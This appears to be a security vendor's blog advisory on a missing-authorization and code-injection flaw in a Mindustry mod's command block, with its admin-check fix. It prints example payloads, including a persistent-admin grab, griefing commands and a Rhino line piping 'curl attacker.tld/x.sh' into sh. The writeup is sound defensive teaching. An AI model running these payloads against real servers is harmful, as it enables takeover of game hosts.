Back to Blog
critical SEVERITY11 min read

How missing authorization and code injection happen in Mindustry JavaScript mods and how to fix it

A `TapEvent` handler in `scripts/CommandBlock.js` exposed a full administrative command palette — including a `run-javascript` command that piped player-supplied text straight into `new Function(text)()` — behind nothing more than a team-membership check. Any player who happened to share a team with the block could execute arbitrary JavaScript (and, through Rhino's Java bridge, arbitrary host code) inside the game runtime. The fix adds an explicit `if (!e.player.admin) return;` guard at the top

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 31, 2026•Reviewed August 31, 2026

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, `scripts/CommandBlock.js`. The `EventType.TapEvent` handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as `clear-all-units`, `change-team`, `fill-core`, and `run-javascript`, the last of which evaluated raw `showTextInput` text via `new Function(text)()`. The fix is to enforce a real privilege check — `if (!e.player.admin) return;` — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the `new Function()` sink entirely and replace it with a fixed allowlist of named commands.

Vulnerability at a Glance

cweCWE-862 (Missing Authorization), chained with CWE-94/CWE-95 (Code Injection / eval Injection)
fixAdd `if (!e.player.admin) return;` as the first gate in the `EventType.TapEvent` handler in `scripts/CommandBlock.js`
riskAny same-team player could execute arbitrary JavaScript in the game runtime, reaching `Vars`, `Core`, `Groups`, and Java packages — full server compromise
languageJavaScript (Mindustry mod scripting / Rhino)
root causeThe `TapEvent` handler treated team membership as an authorization decision and never checked `player.admin` before dispatching commands like `run-javascript`
vulnerabilityMissing authorization on privileged commands chaining into JavaScript code injection

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, scripts/CommandBlock.js. The EventType.TapEvent handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as clear-all-units, change-team, fill-core, and run-javascript, the last of which evaluated raw showTextInput text via new Function(text)(). The fix is to enforce a real privilege check — if (!e.player.admin) return; — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the new Function() sink entirely and replace it with a fixed allowlist of named commands.


Vulnerability at a Glance

Field Value
Vulnerability Missing authorization on privileged commands → JavaScript code injection
CWE CWE-862, CWE-94, CWE-95
Severity Critical
File scripts/CommandBlock.js (handler starts at line 4)
Language JavaScript (Mindustry mod scripting, Rhino engine)
Root cause Team membership used as an authorization decision
Fix if (!e.player.admin) return; before command dispatch

Introduction

The scripts/CommandBlock.js file implements a mod-provided "command block": tap a block on the map, get a menu, and run an administrative action against the running game. It supports things like clear-all-units, change-team, spawn-unit, toggling game rules, fill-core, and — most dangerously — run-javascript, which prompts the player for text with Vars.ui.showTextInput(...) and then evaluates it with new Function(text)().

The problem was not the existence of these commands. Admin tooling is legitimate. The problem was the gate in front of them. Here is the entire access-control logic that existed before the fix, at the top of the EventType.TapEvent handler:

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;
        // ...later: if (tile.team() != player.team()) return;
        // ...then: switch on the selected command

That first line is a null check, not an authorization check. !e.player.team() asks "does this player have a team?" — which is true for essentially every connected player. The only other filter, further down, is tile.team() != player.team(), which asks "is this player on the same team as the block?" Neither question is "is this player allowed to reconfigure the server and execute code?"

If you write mod scripts, plugins, Discord bots, admin panels, or any event-driven handler that performs privileged actions, this is the exact failure mode to internalize: presence is not permission.

The Vulnerability Explained

The sink: new Function(text)()

Reconstructing the relevant branch of the dispatcher, the run-javascript command looked structurally like this:

// scripts/CommandBlock.js — vulnerable pattern
case "run-javascript":
    Vars.ui.showTextInput("Run JavaScript", "Code", 500, lastCommand, text => {
        lastCommand = text;
        new Function(text)();   // <-- arbitrary player-supplied code, executed
    });
    break;

new Function(text)() is eval wearing a hat. It compiles the string text into a callable and invokes it immediately, in the mod's own runtime context. In Mindustry, that context is not a sandbox — the script scope has direct handles to:

  • Vars — the entire game state singleton, including Vars.netServer, Vars.netServer.admins, Vars.state, Vars.world, Vars.player
  • Core — Core.settings (persisted configuration on disk), Core.app, Core.files
  • Groups — every live entity: Groups.player, Groups.unit, Groups.build
  • Rhino's Java bridge — Packages.java.*, meaning Packages.java.lang.Runtime, java.io.File, and friends

The chain: two steps to full compromise

The PR classifies this as a 2-step chain, and that is exactly right:

  1. Step 1 — Authorization bypass. An attacker joins the server as an ordinary, non-admin player. On the vast majority of public Mindustry servers, players either pick a team or are auto-assigned to the dominant one. Satisfying tile.team() == player.team() costs the attacker nothing — often it is satisfied by default the moment they spawn. The !e.player.team() null check is passed automatically.
  2. Step 2 — Code injection. The attacker taps the command block, selects run-javascript, and types whatever they want into the showTextInput dialog. new Function(text)() runs it.

A concrete attack scenario

Suppose an attacker joins a public survival server that runs this mod. They tap the command block and enter:

// Step 2 payload — typed into the run-javascript showTextInput dialog
Vars.netServer.admins.adminPlayer(Vars.player.uuid(), Vars.player.usid());

They are now a permanent admin, persisted into the server's admin database — the compromise survives a restart, and every other admin-gated feature on the server is now open to them.

Or, if griefing is the goal:

Groups.player.each(p => Vars.netServer.kick(p.con, "bye"));
Vars.state.rules.infiniteResources = true;
Core.settings.clear();

Or, escalating out of the game entirely via Rhino's Java access:

Packages.java.lang.Runtime.getRuntime().exec(["sh","-c","curl attacker.tld/x.sh | sh"]);

That last payload is why the severity is critical rather than "annoying griefing." The blast radius is not the map — it is the machine hosting the server, its filesystem, its credentials, and anything reachable from its network.

Why the team check was never a control

It is worth being explicit about the design mistake. tile.team() and player.team() are gameplay attributes. They describe alliance in a match, not trust in the operator sense. They are:

  • Attacker-influenceable (team selection, auto-assign, team-change events)
  • Non-identity-bound (nothing ties a team to a verified account)
  • Mutable mid-game — ironically, this very command block exposed a change-team command

Using a mutable, attacker-influenceable gameplay attribute as an authorization predicate is the textbook shape of CWE-862.

The Fix

The patch adds one line — but it is the line that establishes the trust boundary, and it is placed before any tile or command data is even read.

Before:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;

After:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;
        if (!e.player.admin) return;

        const tile = e.tile;
        const player = e.player;

Why this specific change works

  • It gates the dispatcher, not individual commands. Rather than sprinkling checks into the run-javascript, change-team, and fill-core branches — where one forgotten branch reintroduces the bug — the guard sits at the single entry point of the EventType.TapEvent handler. Every command in the switch is now unreachable for non-admins, including any command added later.
  • It runs before parsing. The check precedes const tile = e.tile; and the entire command-selection flow. That means non-admin taps never touch the parsing logic, never open the showTextInput dialog, and never reach new Function. The attacker's Step 1 now fails, which kills Step 2 by construction.
  • It uses an identity-backed flag. player.admin in Mindustry is backed by Vars.netServer.admins, which is keyed to a player's UUID and USID — a real identity record maintained by the server operator — not a gameplay attribute the player can flip at will.
  • It preserves legitimate behavior. Admins tapping a command block get exactly the same menu and exactly the same commands as before. The PR's behavior-preservation note holds: only untrusted input paths are tightened.

Ordering matters

Note that the new guard is placed after the null checks. That is deliberate and correct: e.player.admin would throw if e.player were null, and in a TapEvent handler an exception per tap is its own denial-of-service. Null-safety first, authorization second, business logic third.

What the fix does not do (and what to do next)

This patch closes the exploitable path, and that is the right immediate action. But new Function(text)() is still present in the file, now reachable by admins. Defense in depth suggests two follow-ups:

// Better: replace the free-form eval sink with an allowlist dispatcher
const COMMANDS = {
    "clear-all-units": () => Groups.unit.each(u => u.remove()),
    "fill-core":       () => fillCore(tile),
    // no "run-javascript" entry at all
};

const handler = COMMANDS[selected];
if (!handler) return;   // unknown command → no execution, no eval
handler();
  1. Delete run-javascript from the in-game UI. Arbitrary code execution belongs on the server console (where access is already governed by shell/OS permissions), not behind a tappable block on a live map. If it must exist, gate it behind a separate, explicitly opted-in flag and log every invocation with the invoking UUID.
  2. Audit-log privileged commands. Even admin actions should be attributable: record player.uuid(), the command name, and the arguments so that a compromised admin account leaves a trail.

Key Takeaways

  • if (!e.player.team()) return; in CommandBlock.js was a null check masquerading as an access-control check — it passes for every connected player and authorizes nothing.
  • Team membership (tile.team() == player.team()) is not an authorization primitive in Mindustry, especially in a command block that itself exposes a change-team command.
  • new Function(text)() fed by Vars.ui.showTextInput gave any same-team player a live JavaScript console with reach into Vars, Core, Groups, and — via Rhino — Packages.java.lang.Runtime.
  • The fix, if (!e.player.admin) return;, is placed after the null checks and before const tile = e.tile; so that non-admin taps never reach the command dispatcher, the showTextInput prompt, or the eval sink.
  • Closing the authorization gap is necessary but not sufficient: run-javascript should be removed from the in-game palette entirely and replaced with a fixed allowlist of named commands.

How Orbis AppSec Detected This

  • Source: Player-controlled text from Vars.ui.showTextInput(...) in the run-javascript branch, reached by an unauthenticated EventType.TapEvent from any connected non-admin player.
  • Sink: new Function(text)() in the run-javascript command handler in scripts/CommandBlock.js (handler registered at line 4), plus the privileged state-mutating commands clear-all-units, change-team, spawn-unit, fill-core, and the game-rule toggles.
  • Missing control: No privilege verification before command dispatch. The handler's only preconditions were a null check (!e.player.team()) and a gameplay team comparison (tile.team() == player.team()) — neither of which is identity-backed or resistant to attacker influence. player.admin / Vars.netServer.admins was never consulted.
  • CWE: CWE-862 (Missing Authorization), chaining into CWE-94 (Improper Control of Generation of Code) and CWE-95 (Eval Injection); parent CWE-284 (Improper Access Control).
  • Fix: Added if (!e.player.admin) return; as the first authorization gate in the EventType.TapEvent handler so non-admin players never reach command parsing or the new Function sink.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The bug in scripts/CommandBlock.js is a great teaching example because the code looked defended. There were guard clauses. There was a comparison. There was even a null check on e.player.team(). What was absent was the only question that mattered: is this player an admin? Without it, a gameplay attribute became the sole barrier between an anonymous player and new Function(text)() — and through Rhino's Java bridge, the server host itself.

The one-line fix, if (!e.player.admin) return;, placed at the top of the `T

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #21

Related Articles

critical

Discord Bot Auto-Role CWE-269: Privilege Escalation via role.position

A Discord.js bot's auto-role feature allowed privilege escalation where any user with ManageRoles permission could add Administrator roles to automatic assignment lists, regardless of their own role hierarchy. The vulnerability existed because role.position validation checked only the bot's permissions, not the invoking user's role hierarchy relative to the target role.

high

CVE-2026-54290: hono cors() Reflects Any Origin With Credentials

The `hono` CORS middleware, as resolved in this service at 4.12.8, reflected the caller's `Origin` header back in `Access-Control-Allow-Origin` while also emitting `Access-Control-Allow-Credentials: true` whenever the `origin` option was left at its `'*'` default. That combination makes any website a trusted origin for credentialed cross-origin reads. The dependency range was raised from `^4.7.1` to `^4.13.5`, moving the installed copy from 4.12.8 to 4.13.5.

critical

POST /api/generate Lacks Authentication, Allowing Unauthenticated

A resume generation endpoint in a Node.js backend accepted requests from any caller with network access, allowing attackers to consume OpenAI API quota without restriction. The vulnerability stemmed from missing authentication middleware on a cost-bearing endpoint. The fix adds mandatory API key validation via HTTP headers before processing any generation requests.

critical

SchedulePush.disableReminder Missing Authorization Check in push.js

The `disableReminder` method in the `SchedulePush` class allowed any user to disable push notification reminders for arbitrary user IDs by manipulating the `e.user_id` event parameter. The fix adds a `checkFriend()` authorization gate that verifies the requesting user has a valid friendship relationship with the bot before modifying subscription state.

critical

How Broken Object-Level Authorization happens in Express.js and how to fix it

A critical authorization flaw in `src/v1/routes/index.js` allowed any authenticated API key holder to access arbitrary budgets by manipulating the `budgetSyncId` URL parameter. The fix introduces an environment-based allowlist that validates budget access before processing requests.

high

How Missing Rate Limiting Enables Denial of Service Attacks in Node.js and How to Fix It

The k-skill-proxy server exposed multiple public API endpoints (`/health`, `/v1/vworld/search`, `/v1/fine-dust/report`, `/v1/assembly/bills`) without consistent rate limiting middleware, leaving them vulnerable to denial-of-service attacks. A `buildRateLimiter` function existed but wasn't applied to all endpoints. This fix ensures rate limiting is enforced on all public endpoints, preventing resource exhaustion attacks.